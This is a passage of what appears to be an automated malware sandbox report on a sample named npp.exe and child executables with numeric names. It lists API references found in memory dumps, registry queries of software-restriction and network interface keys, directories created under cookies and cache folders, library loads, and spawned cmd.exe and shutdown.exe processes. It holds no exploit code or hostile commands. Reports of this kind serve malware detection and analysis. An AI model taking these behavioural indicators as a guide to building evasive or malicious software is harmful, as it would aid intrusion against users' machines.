"GetSystemTime"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")2a:T454,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00003624.00000000.195277.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.00200000.00000004.mdmp, 00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.00200000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00200000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp")2b:T6ce,"npp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "npp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "2416522045.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2416522045.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1253014599.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1691212729.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1691212729.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "3092126301.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3092126301.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "3988039883.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "139762777.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "shutdown.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3890516560.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2c:T794,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "npp.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")2d:Ta57,Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; File: "npp.exe") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")2e:T73a,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "npp.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00000624.00000000.200735.00D63000.00000002.mdmp, 00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00002792.00000000.206062.00983000.00000002.mdmp, 00000000-00003048.00000000.202034.008F3000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002096.00000000.195919.00063000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")2f:T62d,Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; File: "npp.exe") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00000384.00000000.196363.00842000.00000002.mdmp") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00001624.00000000.204056.00410000.00000002.mdmp, 00000000-00002556.00000000.201521.009A2000.00000002.mdmp, 00000000-00003140.00000001.201962.018F0000.00000004.mdmp, 00000000-00003140.00000002.203884.018F0000.00000004.mdmp, 00000000-00003328.00000000.201550.00342000.00000002.mdmp, 00000000-00004056.00000000.201381.003E2000.00000002.mdmp, 00000000-00004360.00000000.201733.00B52000.00000002.mdmp") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00001064.00000000.196813.010B2000.00000002.mdmp") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00001848.00000001.196962.01242000.00000002.mdmp") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00002204.00000000.196588.00F02000.00000002.mdmp") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00003624.00000001.197198.003B0000.00000004.mdmp, 00000000-00003624.00000002.199124.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.003B0000.00000004.mdmp, 00000000-00003624.00000003.199619.00410000.00000002.mdmp") Found reference to API "PathFileExistsW" (Indicator: "PathFileExist"; Source: "00000000-00006112.00000000.194886.00C62000.00000002.mdmp")30:T70e,"npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "npp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")31:T9d1,"npp.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS (UID: 00000000-00006112) "npp.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP (UID: 00000000-00006112) "2416522045.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\R258CLXM (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\JKW6IVR1 (UID: 00000000-00003624) "2416522045.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\OCO9PWXQ (UID: 00000000-00003624)32:T318d,"npp.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00006112) "npp.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00006112) "2416522045.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll (UID: 00000000-00003624) "2416522045.exe" called "LoadLibrary" with a parameter sxs.dll (UID: 00000000-00003624) "1691212729.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00002096) "1691212729.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00002096) "3092126301.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00000384) "3092126301.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000384) "139762777.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00001848) "139762777.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00001848) "shutdown.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003348) "shutdown.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003348) "shutdown.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003348) "shutdown.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003348) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004012) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004012) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004012) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004012) "shutdown.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003792) "shutdown.exe" called "LoadLibrary" with a parameter 